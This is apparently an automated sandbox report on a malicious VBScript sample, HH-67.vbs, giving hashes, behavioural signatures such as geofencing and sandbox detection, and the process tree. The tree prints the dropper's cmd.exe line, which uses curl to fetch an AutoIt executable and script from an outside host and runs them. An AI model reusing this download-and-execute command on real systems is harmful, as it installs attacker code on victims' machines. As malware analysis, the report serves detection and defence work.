Analysis

  • max time kernel
    129s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2023, 13:10

General

  • Target

    HH-67.vbs

  • Size

    9KB

  • MD5

    4870ffa8695520621bcbf1b294447aee

  • SHA1

    dd751d03c5766891c8156dc4024a5d11ec90e560

  • SHA256

    d1682e4468d87d86f2a0631e0e7b5803b1dddd8dde915a9016602831934557ff

  • SHA512

    e988121a415822969807b7ed12d2d28be86e5f89cfe5208ec5e8f1a671e533e2f0992b47d66979ddb4792eef8239da45f4cf4479e3e194ca20e65ca960c91ba6

  • SSDEEP

    192:f8IMu0Cp4EmpXUHg4KR/oNQsK/iKiWSDX4X:f8PzE0ig4KR/aQsKHiWAIX

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HH-67.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5064
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d %temp% & curl -o Autoit3.exe http://eugelens.com:2351 & curl -o bwmhtm.au3 http://eugelens.com:2351/msiqpwucsyz & Autoit3.exe bwmhtm.au3
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3716
      • C:\Windows\system32\curl.exe
        curl -o Autoit3.exe http://eugelens.com:2351
        3⤵
          PID:4620
        • C:\Windows\system32\curl.exe
          curl -o bwmhtm.au3 http://eugelens.com:2351/msiqpwucsyz
          3⤵
            PID:1252
          • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
            Autoit3.exe bwmhtm.au3
            3⤵
            • Executes dropped EXE
            • Checks processor information in registry
            PID:1584

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MRL3SWXH\idzktm[1]

              Filesize

              388KB

              MD5

              77b48f88ce9246cf92d6faa9761832ff

              SHA1

              bf3a955adcab4825047140537d0612ba72f85ebe

              SHA256

              fbc287bfb7586178fe7923c1c0c60491097afa81c71c6b02f0e3c79a629fabef

              SHA512

              11ec4c1ce8354122def5182f648fc67a69c859e4bb81b7dc52b3b514fe9ea5e9e03d6c52e979fd80e469d7f79f4440ec05814a7eaf097cb586833a3f4da38ac2

            • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe

              Filesize

              872KB

              MD5

              c56b5f0201a3b3de53e561fe76912bfd

              SHA1

              2a4062e10a5de813f5688221dbeb3f3ff33eb417

              SHA256

              237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

              SHA512

              195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

            • C:\Users\Admin\AppData\Local\Temp\bwmhtm.au3

              Filesize

              95KB

              MD5

              fd26bdf68bb6d1e03b1215979e2ed3ad

              SHA1

              872b0ae6c5f2f6b8e4c00684f0d4f0cdc154eb3b

              SHA256

              3a1ab251385afb83b35ee2f1381b1aedc76a2785be99dff9797e6b90b3492c7a

              SHA512

              b5bdc4c7c0684a92a8cbd5b05402fe66366b44e9c112dffb682d52d4904192d376ac0fc524e7436c7d394d339e36f86a7364b095f979e4338238eea86007621f

            • memory/1584-6-0x0000000001430000-0x0000000001830000-memory.dmp

              Filesize

              4.0MB

            • memory/1584-13-0x00000000056D0000-0x00000000058B9000-memory.dmp

              Filesize

              1.9MB

            • memory/1584-14-0x00000000056D0000-0x00000000058B9000-memory.dmp

              Filesize

              1.9MB